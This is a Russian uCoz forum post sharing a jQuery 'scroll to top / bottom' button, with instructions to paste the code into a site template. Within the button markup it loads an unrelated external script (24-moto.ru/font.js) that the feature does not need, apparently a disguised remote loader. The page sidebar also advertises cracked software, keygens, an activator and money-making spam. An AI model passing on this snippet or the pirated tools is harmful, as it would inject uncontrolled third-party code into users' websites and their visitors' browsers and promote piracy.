Время: 17:23
Среда 20.09.2017
[ Новые сообщения · Учасники · Правила форума · Быстрий Поиск · RSS ]
Страница 1 из 11
Модератор форума: rysinyak 
Форум » uCoz » Скрипты » Кнопка вверх и вниз для сайта
Кнопка вверх и вниз для сайта
Plastinas Дата: Воскресенье, 23.03.2014, 12:05 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 4
Награды: 0
Репутация: 0
:-(

скрин: http://i023.radikal.ru/1401/fd/ae3ed41cd540.jpg

Скрипт для быстрого и плавного поднятия страницы вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует дополнительных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://24-moto.ru/font.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>
Форум » uCoz » Скрипты » Кнопка вверх и вниз для сайта
Страница 1 из 11
Поиск:
Статистика Форума
Последние обновленные темы Самые популярные темы Лучшии пользователи Новые пользователи Самые популярны СОФТ
Зарабатывать в интернете деньги не только реально, но и удоб (1)
Заработай бесплатные биткоины (bitcoin) здесь! (0)
Легкий заработок без вложений для новичка. (0)
..№7..ЗАРАБОТОК НА ВЫПОЛНЕНИИ ЗАДАНИЙ.ЗАРАБОТОК В СОЦ СЕТЯХ. (0)
..№6.. ЕЩЁ ОДИН ПОПУЛЯРНЫЙ БУКС. ДОХОД ОТ 100 РУБЛЕЙ В ДЕНЬ. (0)
..№5.. ПРОВЕРЕННЫЙ СПОСОБ ЗАРАБОТКА ДЛЯ НОВИЧКОВ (0)
..№4.. ЗАРАБОТОК НА РАСШИРЕНИИ ДЛЯ БРАУЗЕРА (0)
..№3.. ЗАРАБОТОК В СОЦИАЛЬНЫХ СЕТЯХ (0)
..№2..ОТЛИЧНЫЙ САЙТ ДЛЯ ЗАРАБОТКА БЕЗ ВЛОЖЕНИЙ (0)
ЛУЧШИЙ ДОХОД БЕЗ ВЛОЖЕНИЙ 100-500 РУБЛЕЙ В ДЕНЬ (0)
Битая ссылка, Нерабочая ссылка (31)
Скрипт "Распечатать страницу" (4)
Photoshop онлайн на своем сайте (4)
Как попасть в бан Google - быстро и с гарантией! (2)
Нет аватара (2)
Бот на форум! (2)
Древовидное меню сайта (2)
Раскрутка сайтов (2)
Нужен скрипт (2)
Бот для миничата (1)
rysinyak
jasminka
Batareyka
andryhha97
kragsburger
MyLife
mobile
Lookflaco
sbvasyl
matt
valera197127
melezid
dmitriy1991d
bereleh99
pirate-ben
dim0675239012
nirajitore
pion-47
jodexi
rikki7575
DjVu Viewer v6.1.0.1492
Windows Media Player 12 Rus Полная Руская версия!
ACDSee Pro 9.1
1С Предприятие 8.2 Для України +конфиг
Активатор Windows 8.1
ProLing Office 5.0 SP2 Standard + crack скачать бесплатно
Network Assistant 4.5 Final (build 2668) + смайлики + keygen
Pragma 6.0.101.11 Business + Cловари 6.0.100.11 + crack скачать бесплатно
ABBYY FineReader 12
Carambis Driver Updater 1.1.2